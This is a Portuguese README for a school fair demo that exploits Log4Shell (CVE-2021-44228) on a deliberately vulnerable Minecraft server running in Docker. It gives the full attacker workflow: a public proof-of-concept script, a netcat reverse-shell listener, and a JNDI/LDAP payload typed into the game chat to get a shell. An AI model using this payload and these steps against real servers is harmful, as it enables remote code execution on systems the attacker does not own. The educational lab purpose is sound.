
Log4Shell (CVE-2021-44228) demo do Minecraft. Usado para feiras educacionais.
Esta demo é usada em feiras educacionais para dar a potenciais futuros alunos uma ideia do departamento de cibersegurança da HTL Villach e sobre como aplicações do dia a dia podem ser exploradas.
Nota: Toda esta demo usa Minecraft 1.8.8.
O atacante neste cenário está usando o PoC de kozmer. https://github.com/kozmer/log4j-shell-poc Todo o crédito pertence a eles. Nota: Todos os comandos devem ser executados em attacker/
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, e estar no mesmo diretório.$ python3 poc.py --userip <ip do docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip do docker-host>:1389/a}
Listening on 0.0.0.0:1389
Este script irá configurar o servidor HTTP e o servidor LDAP para você, e também criará o payload que você pode usar para colar no parâmetro vulnerável. Depois disso, se tudo correr bem, você deve obter um shell na porta lport.
Na instância da vítima estamos usando uma versão desatualizada e, portanto, vulnerável do JDK (jdk1.8.0_20) .
Para colocar nosso servidor Minecraft em funcionamento, precisamos construir nossa imagem Docker e executá-la.
Nota: Para uma construção bem-sucedida, você precisa obter sua própria cópia do servidor Minecraft Vanilla 1.8.8 (não pode ser compartilhado devido à EULA da Mojang). Uma possível fonte pode ser MCVERSIONS.NET
Após obter o arquivo, salve-o em victim/ como server.jar
cd target/
docker build target/ -t minecraft-demo
Execute o servidor Minecraft vulnerável que acabamos de construir usando o docker
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
É provável que seu contêiner congele ou trave após a exploração. Nesse caso, você pode encerrá-lo usando o seguinte comando:
docker kill vulnerable-server
Para explorar a vulnerabilidade, basta enviar a string fornecida pelo poc.py no chat do jogo.
${jndi:ldap://<ip do docker-host>:1389/a}
